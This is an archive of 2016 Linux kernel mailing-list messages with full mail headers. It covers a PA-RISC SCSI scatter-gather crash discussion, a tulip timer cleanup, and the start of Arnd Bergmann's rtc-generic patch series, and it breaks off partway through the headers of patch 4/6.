X-UI-Out-Filterresults: notjunk:1;V01:K0:vBcjM9ZEK8g=:LP8rtEywaaAFyyxd0Q59+B
 L8iJVNnBhVajTYv5/oUydM6AjDkjbI25CUew6btkL96LPNDtgzTWF0Pt/TQYAKNsOgu34z4b4
 D+hwZMCtT7sHZG/SJoUKrtueKq6DTVHO5OvnR1/mYjsgFjeuBTE5638qLXhXBfCNDUBoPqsci
 RvOl/cRz5sOio15RmnNe3djwQ793tX2h/zeDqsDDi8GGM8LyuzVgdZDyaevlRg0wciCvbftCa
 Tr/pOwpy8N2450i6NCLkJ29YthQfprSvkpRM1Cmdb1T5gperzaee1CwUJxNNzhsUQW3JmYH2E
 jph0fBI3fABURE4D+jNxzRgqG8QXa+SZWRIg33Wt8lZtxzIGfOIwDX+6fDZJcgs3K2wb97E7H
 iJDsVgkfGkDESfVmGF5kbDo3CDburK1mNVHb000/gNU1nXrFnHUbZ7TUASIeVLgiyoGTp6fEJ
 gGAK/++HiQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26497 gmane.linux.scsi:111245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26497>

> On Thu, Feb 25, 2016 at 7:28 AM, John David Anglin <dave.anglin@bell.net> wrote:
> > On 2016-02-24, at 4:36 PM, Helge Deller wrote:
> >
> >> Maybe Dave has more luck, otherwise I'll continue to try to get some info.
> >
> > I tried your patch on the commit in linux-block which first failed to boot.  As with Helge, the
> > system crashed and no useful data was output on console.  I then applied following patch
> > to give some extra segments and tired again:
> >
> > diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
> > index b1a2631..b421f03 100644
> > --- a/drivers/scsi/scsi_lib.c
> > +++ b/drivers/scsi/scsi_lib.c
> > @@ -595,6 +595,11 @@ static int scsi_alloc_sgtable(struct scsi_data_buffer *sdb, int nents, bool mq)
> >
> >         BUG_ON(!nents);
> >
> > +       /* Provide extra entries in case of split.  */
> > +       nents += 8;
> > +       if (nents > SCSI_MAX_SG_SEGMENTS)
> > +               nents = SCSI_MAX_SG_SEGMENTS;
> > +
> 
> Yeah, this is needed for sake of safety.
> 
> >         if (mq) {
> >                 if (nents <= SCSI_MAX_SG_SEGMENTS) {
> >                         sdb->table.nents = nents;
> >
> > The attached file shows the crash in first boot.  The second boot was successful and various output
> > was generated by your check code.
> 
> From the following log(just select one simple, and looks all are similar) in
> 2nd boot, the bi_phys_segments is figured out as one by block core
> , which is wrong because the max segment size is 64k according to
> your investigation in the below link, but the whole req/bio is 192k(4k*48).
> 
>     http://www.spinics.net/lists/linux-parisc/msg06749.html
> 
> Looks weird, it shouldn't have happened because blk_bio_segment_split()
> does respect the max segment size limit.
> 
> BTW, what is the scsi driver for the device?

It happens with various drivers.
sym53c8xx (on my machine) and mptspi (Fusion MPT, on Daves machine).
Then we have PATA/SATA controllers too: sil680, sata_sil24, pata_ns87415.
The problem can be reproduced by using sym53c8xx or mptsi and blacklisting all others.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH 1/3] net: tulip: Use setup_timer()
Date: Thu, 25 Feb 2016 16:52:06 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <20160225.165206.1865735563237444924.davem@davemloft.net>
References: <20160224135749.GA14342@amitoj-Inspiron-3542>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456437139 23830 80.91.229.3 (25 Feb 2016 21:52:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Feb 2016 21:52:19 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, julia.lawall@lip6.fr
To: amitoj1606@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 25 22:52:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aZ3pS-00006V-TV
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Feb 2016 22:52:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750731AbcBYVwK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Feb 2016 16:52:10 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:46541 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750717AbcBYVwJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Feb 2016 16:52:09 -0500
Original-Received: from localhost (unknown [38.140.131.194])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id 27DB05AA8DB;
	Thu, 25 Feb 2016 13:52:08 -0800 (PST)
In-Reply-To: <20160224135749.GA14342@amitoj-Inspiron-3542>
X-Mailer: Mew version 6.6 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Thu, 25 Feb 2016 13:52:08 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26498 gmane.linux.network:401093 gmane.linux.kernel:2162025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26498>

From: Amitoj Kaur Chawla <amitoj1606@gmail.com>
Date: Wed, 24 Feb 2016 19:27:49 +0530

> Convert a call to init_timer and accompanying intializations of
> the timer's data and function fields to a call to setup_timer.
> 
> The Coccinelle semantic patch that fixes this problem is
> as follows:
> 
> // <smpl>
> @@
> expression t,f,d;
> @@
> 
> -init_timer(&t);
> +setup_timer(&t,f,d);
> -t.data = d;
> -t.function = f;
> // </smpl>
> 
> Signed-off-by: Amitoj Kaur Chawla <amitoj1606@gmail.com>

Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: [PATCH 0/6] rtc: generic: follow up for COMPILE_TEST
Date: Tue,  1 Mar 2016 17:59:56 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851664 14196 80.91.229.3 (1 Mar 2016 17:01:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:01:04 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Mar 01 18:00:57 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1aanfK-0001Ac-Jy
	for glps-linuxsh-dev@plane.gmane.org; Tue, 01 Mar 2016 18:00:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752159AbcCARAx (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 1 Mar 2016 12:00:53 -0500
Original-Received: from mout.kundenserver.de ([212.227.17.24]:64639 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752040AbcCARAw (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 1 Mar 2016 12:00:52 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LbagN-1aClNe0S0x-00lDjO; Tue, 01 Mar
 2016 18:00:13 +0100
X-Mailer: git-send-email 2.7.0
X-Provags-ID: V03:K0:LbhCsOyb4lcBanl3l6Ui+xOmkKcXUbPi5Aog3hU2UAbq+srF1/5
 rVZ+OBABUn6P5uOtWZR1nHPCaCCrCG8OWaWEZpq2MjcWRxk4yRoFdS7KGEV4Fw+mhokBU2M
 owTXX9VNW2ZvdhrZD6bBbP+AQiqX/nwpUgDFL/ujTjg/gTUjLIbeL2SzoWafifdm/wlrRDa
 60+P1Q1ZoUalHdVe6DPLA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:sV276RfuYWE=:2YHzrLABzp7ceU4fdohcQm
 JaoN6b51RTuiydvlwh2IknoGCni5D2kJ4dkiIHR1v6f7hGFj81NAm3/P+k23OCv6zOE3F+X4q
 R3Cu36F+82P2MXPCEyCRcg069mbrjCavHsURc4xsFy/R4o3Le5oZ1KfO1fzuBBKoKLGptx3Vp
 Cy+QkLqajwcviAtZ9H/e65/wgWXVsQXgsH4Ro9EEAUUtxsfO4RA32rRdq3XKxdj38ZElpq/5T
 ZIAxgyCwX+sEtMo7NZEpHCm3xaSjK+JfHb6f2cHXccIUTABl8lAw1s5iXQEXWvAxytQRIAQiH
 jnYfUIhDLnvDqJBpwykJYxxqPvcGvXPyvIMtDuyYzJQ0H1cJJl6XE6Wp00eZFYXVZBzoLqk3k
 0Z+euDTweKLDhu3Hvlb6nkJckZH3zUJ5t3YOWfD5HoWAo6KMRBLaDxjPMgHg9psQ/IuTlURHy
 lz/N0zglWQAiJznLbOi8ow2oDyjA6hfCBtx0irRxgyJaaOo3gW+hUqZPcxpq1Qbv5nPpn7kBV
 dtRdwpa4kWbYVtlz8l4N8iQIYA02uakl+nA5y/e2kP96KH+0arcXpVgEwn5bMpRyi5CVGy7hA
 /V2iIKcC28TAvwhpdLTh2+9ZtaenuK24MxnQO/qK7sIWntWSOA9dees6adoLx4+DKygD6302Q
 EiRZAv4bXG8Aj5FED8Guo/wywN3U7H7dWxmO6rlyWtS03IVX1EZl1d0UI2SGBH7A6XEw=
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53476 gmane.linux.ports.arm.kernel:483136 gmane.linux.ports.ppc64.devel:124302 gmane.linux.ports.parisc:26500
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53476>

Today's linux-next kernel allowed building the rtc-generic
driver (and most other rtc drivers) on all architectures,
but this caused some errors on architectures without asm/rtc.h.

This series reworks that driver to avoid the dependency,
and simplifies all four implementations. My first approach
was to split the driver into four separate drivers, but
that didn't feel right when three of them have their own
multiplexors.

The first five patches can be applied independent of one other,
while patch 6 is optional and can be applied when all others
are merged. Alternatively, they can all go in through the
rtc tree. I compile-tested only the powerpc and sh targets for
which I happened to have cross-compilers installed.

	Arnd

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/6] rtc: generic: allow building on all architectures
Date: Tue,  1 Mar 2016 17:59:57 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <1456851608-3374907-2-git-send-email-arnd@arndb.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851684 14689 80.91.229.3 (1 Mar 2016 17:01:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:01:24 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Mar 01 18:01:17 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1aanff-0001Ac-1q
	for glpm-linux-m68k@plane.gmane.org; Tue, 01 Mar 2016 18:01:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751805AbcCARBO (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 1 Mar 2016 12:01:14 -0500
Original-Received: from mout.kundenserver.de ([217.72.192.75]:53682 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751771AbcCARBN (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 1 Mar 2016 12:01:13 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0Lj2nG-1a36jS25y2-00dDNH; Tue, 01 Mar
 2016 18:00:28 +0100
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:B5ShExoSe/LlQlS4gFHKon++T3ysRIeZ5LX7fOS2CMdtJMJu+Gm
 rFi442YkW+4dzmYYTxx4rK10HjwKEeDMRQOtSYt31Jxe08Oe2iZ/RYEcD8Ok6xUhuMUQ3if
 nKrz7UXZ4C8gaD2I6lOBwkoERCYNPTkoLlOstoLmvS/Vd5U4C1Ib90n3KJjb0SWfEY5T25J
 WmRer+SpF06tQh4aS9I+g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dAaVFL2LliI=:YiWRw9Jn45IpXzTqC+hu2I
 op4laaKXZ0XrwNeLhvjZUTSy08eJ9aDiPYYzJSmmyrGODS5OoVag8qCrZIAmU06IBq0pNUmz+
 KF+XSH0EQk2siirNYtqRR/q0wxrW/biUdXIwzZVb+TZ+qpPq5JmkGofb7SElQYb2vDR5dw7Ka
 x4tnGmkYJbeRs3ZtXdZpbijoK50PCF7qwLgXsC2jaSqZTGCM2AppEak6WxXBd6TEuWSoiAEqG
 TKWeKbYuott2CkEbUPDN4Pjhkj2lYarL/oQakwcHHwdxY1TE5Xtxrm45X4GkqcD/ItLAXI4xP
 9ZaFHHYzKWPokf2p8bOfwI78YuKDg/VM5FyQOOs6lbmctFC25xgRqfJFA0O8cxxaBpXIaDfxc
 z/Hi4tidA56pdqayu7PNLYmQ9C9rnO8Hhw3ivDi4g89yIjdxmW0mc+WxUpc3EiJvrHxmWZ7M+
 jwc9dAvTS5tYwqX1jPL2AdmlDB3TZIrPfVai33LJZairG4rN1Di/vcETv3g74HiN/PfceTdTd
 pzCiwJdS48kmy61YTcM/RW6kHWFYm4YTlHi1/3BvlGhddd664onfYZxKqq+7zr5FBRsFlvOyv
 6hO4OQFf2qQf5unkC45VFYpRrF7AhG60bvb1un4fEQNi3K5cLcL7w4j7ynS24ZW5v8xNvFDSh
 yu5X6lkwG+/YBEwKuKsufJfm4P9GxdG6VV+oggRa1/fNOXgGMz2cETRpTMwYgcmBu7+Y=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8318 gmane.linux.ports.arm.kernel:483137 gmane.linux.ports.ppc64.devel:124303 gmane.linux.ports.sh.devel:53477 gmane.linux.ports.parisc:26501 gmane.linux.kernel:2165429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8318>

There are four architectures using this driver, but since we can
build it with COMPILE_TEST, we should try dealing with the absence
of the asm/rtc.h header file, to avoid getting a build error:

drivers/rtc/rtc-generic.c:12:21: fatal error: asm/rtc.h: No such file or directory

This creates an alternative use of the driver, allowing architectures
to pass a set of rtc_class_ops in platform data. We can convert the
four architectures to use this and then remove the original
code.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/rtc/rtc-generic.c | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index e782ebd719b2..d726c6aa96a8 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,6 +9,8 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
+#if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
+    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
@@ -33,13 +35,21 @@ static const struct rtc_class_ops generic_rtc_ops = {
 	.read_time = generic_get_time,
 	.set_time = generic_set_time,
 };
+#else
+#define generic_rtc_ops *(struct rtc_class_ops*)NULL
+#endif
 
 static int __init generic_rtc_probe(struct platform_device *dev)
 {
 	struct rtc_device *rtc;
+	const struct rtc_class_ops *ops;
+
+	ops = dev_get_platdata(&dev->dev);
+	if (!ops)
+		ops = &generic_rtc_ops;
 
 	rtc = devm_rtc_device_register(&dev->dev, "rtc-generic",
-					&generic_rtc_ops, THIS_MODULE);
+					ops, THIS_MODULE);
 	if (IS_ERR(rtc))
 		return PTR_ERR(rtc);
 
-- 
2.7.0


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc
Subject: [PATCH 2/6] m68k: rtc: provide rtc_class_ops directly
Date: Tue,  1 Mar 2016 17:59:58 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1456851608-3374907-3-git-send-email-arnd@arndb.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851711 15003 80.91.229.3 (1 Mar 2016 17:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:01:51 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 01 18:01:42 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aanfv-0001zM-Kg
	for glk-linux-kernel-3@plane.gmane.org; Tue, 01 Mar 2016 18:01:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752590AbcCARBW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 1 Mar 2016 12:01:22 -0500
Original-Received: from mout.kundenserver.de ([217.72.192.75]:59802 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752364AbcCARBT (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 1 Mar 2016 12:01:19 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MD8ge-1agLYe41oy-00GY0b; Tue, 01 Mar
 2016 18:00:37 +0100
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:72JdRVEGitKHvXWvzoUbUvWzkk0q4J7xZt9OzT7M86DI8fe6GRL
 nX3K5A7ygjO5go06JAgV9gVIC6ntoDVVHd28Leuix83+zyUSmztoDjaDoCLbdY24AqwpE4S
 SirTpTE/uCX8D8g7B+l44BtGcAeY6AYbuWhUZBJIZQ4DIw1nLsk8a+MH0YMbYWJSxjTMCzT
 DKpkaNqQx0xC7rghSULXA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ggtaDl2HJPI=:ppgIny8OngYdgGpOFhV6SZ
 jNzcTHdaALXsRBlIhTsgVkavdsF+FYMJpccVKX5SwG95XdoAHuMK7XnwOd4/Dlk8cOrzjU+Eb
 rL2Zol3jeYANV7QMXaXUifuhCxyPaQWJj4n3hqhNpz7eHTxAMI48DC7ixhzaLx4MusrBwL7QW
 oR5LHFIbfwnXAFpNz/2nNJL2npm8NzRv3Xsv2a+6/4eC6tn5MRcXRynllmK4zMQK6xS+dkQ1l
 ARMsBdSH77lZB3ECv76wYELNgoFnyH3w5d7tincCn9oEVRT5WctLXhvLeYcp+WzKdOFSRnudm
 XH/0OEjWtd991PXeO95hB8ImMNDAv50jedW2bAN003U6OmZOuzZcyXEqWvs6+BR//GsZRBxol
 Eayn/XXHI+UxUexPj1UK0UDFUi0ZMg2Iq+pMIwNDGwHxUbbyvwtXBkHtvoI1oOs/OxOOqynjw
 LDQKQb5liGbqIeYWu/pZtXBQl4+yMd614Gb337bFUg1F+7GaVkrxpraFDDXw/AjN4L7RduZOh
 iXeM9gHcejbn78Ia+XBbUPMc6HnXcxbPoMS/rt6qjG3WPILePbBBBl3AqJYeds8EL/IDN3R0y
 lHMvG2roFV8pZCzrLtCN/Jb9WHhQf6QH4PGKRlj0GAO/y2QBa8Bse6MumHy8VnmyKe82zo3Gi
 v3ux/As4AQJJ9ha9Ryi+7kJC3tykYaEHZyRaVmU51LEy6MNW9PwzNBp6gHnlhFV1Yn4w=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2165431 gmane.linux.ports.arm.kernel:483139 gmane.linux.ports.ppc64.devel:124304 gmane.linux.ports.sh.devel:53478 gmane.linux.ports.parisc:26502
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2165431>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and m68k has another abstraction on top, which is a bit
silly.

This changes the m68k rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/m68k/kernel/time.c | 22 +++++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 3857737e3958..773b2187210d 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -87,6 +87,23 @@ void read_persistent_clock(struct timespec *ts)
 }
 
 #ifdef CONFIG_ARCH_USES_GETTIMEOFFSET
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	mach_hwclk(0, tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (mach_hwclk(1, tm) < 0)
+		return -EOPNOTSUPP;
+	return 0;
+}
+
+static const struct rtc_class_ops generic_rtc_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_init(void)
 {
@@ -95,7 +112,10 @@ static int __init rtc_init(void)
 	if (!mach_hwclk)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	/* or just call devm_rtc_device_register instead? */
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &generic_rtc_ops,
+					     sizeof(generic_rtc_ops));
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
-- 
2.7.0



From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc
Subject: [PATCH 4/6] parisc: rtc: provide rtc_class_ops directly
Date: Tue,  1 Mar 2016 18:00:00 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <1456851608-3374907-5-git-send-email-arnd@arndb.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851780 16097 80.91.229.3 (1 Mar 2016 17:03:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:03:00 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 01 18:02:53 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aanhD-0002tf-8W
	for glk-linux-kernel-3@plane.gmane.org; Tue, 01 Mar 2016 18:02:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752819AbcCARCp (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 1 Mar 2016 12:02:45 -0500
Original-Received: from mout.kundenserver.de ([217.72.192.73]:53403 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751808AbcCARCk (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 1 Mar 2016 12:02:40 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MhDBR-1aETZE0oZF-00MLRI; Tue, 01 Mar
 2016 18:01:49 +0100
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:XucN0ecKQ4795Vy8Z0hAiGyXFgqMxKrBEXSzFhzwS5/snV6I2fA
 X54K7xRcs2BSayBggu8OoWJ62yUYXYD3dqH+JxgNYKRdtRYr8YS2NMy6XqUH4qrNSRRCRHa
 8fACXlzbozcCUH3NdTwLwk0MgbiRt0ihOGZ/3wv1GaC2ebOxS0gnrd/SyuVDEO6jm7F9Phv
 pc0MLW5akgGjMrubqze6g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:00wNTH54c8Q=:bsomeAVocG+s5obBHvLUb0
